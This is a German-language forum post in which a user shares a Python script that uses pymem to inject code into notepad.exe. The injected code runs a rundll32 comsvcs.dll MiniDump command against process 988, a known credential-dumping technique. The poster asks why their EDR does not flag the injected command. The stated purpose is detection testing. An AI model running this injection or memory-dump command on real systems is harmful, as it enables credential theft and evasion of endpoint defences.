Python -Skript zur ProzessinjektionPython

Python-Programme
Guest
 Python -Skript zur Prozessinjektion

Post by Guest »

Ich muss eine Prozessinjektion mit Python durchführen. Versuchte das folgende Skript. Mein Ziel ist es, festzustellen, ob das Skript funktioniert, und wenn funktioniert

Code: Select all

import pymem
import os
import subprocess

notepad = subprocess.Popen(['notepad.exe'])

pm = pymem.Pymem('notepad.exe')
pm.inject_python_interpreter()

shellcode = """

f = open("C:\TestRule\process_injection.txt", "w+")
f.write("pymem_injection")
f.close()
os.system('rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 988 C:\dump.dmp full')

"""

pm.inject_python_shellcode(shellcode)

notepad.kill()
< /code>
Der Befehl innerhalb des ShellCode -> os.Systems ('rundll32.exe c: \ windows \ system32 \ comsvcs.dll, Minidump 988 C: \ Dump.dmp full'), wenn Ran wird von unserem EDR -Tool separat blockiert, das angibt, dass es funktioniert. Aber wenn sie im Skript verwendet werden, passiert nichts außer der Öffnung von Notepad. Auch ich sehe keine Benachrichtigung darüber, dass es von EDR blockiert wird. Es scheint, als würde der Code nur ignoriert.f = open("C:\TestRule\process_injection.txt", "w+")
f.write("pymem_injection")
f.close()
Funktioniert nur gut.>

Quick Reply

Change Text Case: 
   
  • Similar Topics
    Replies
    Views
    Last post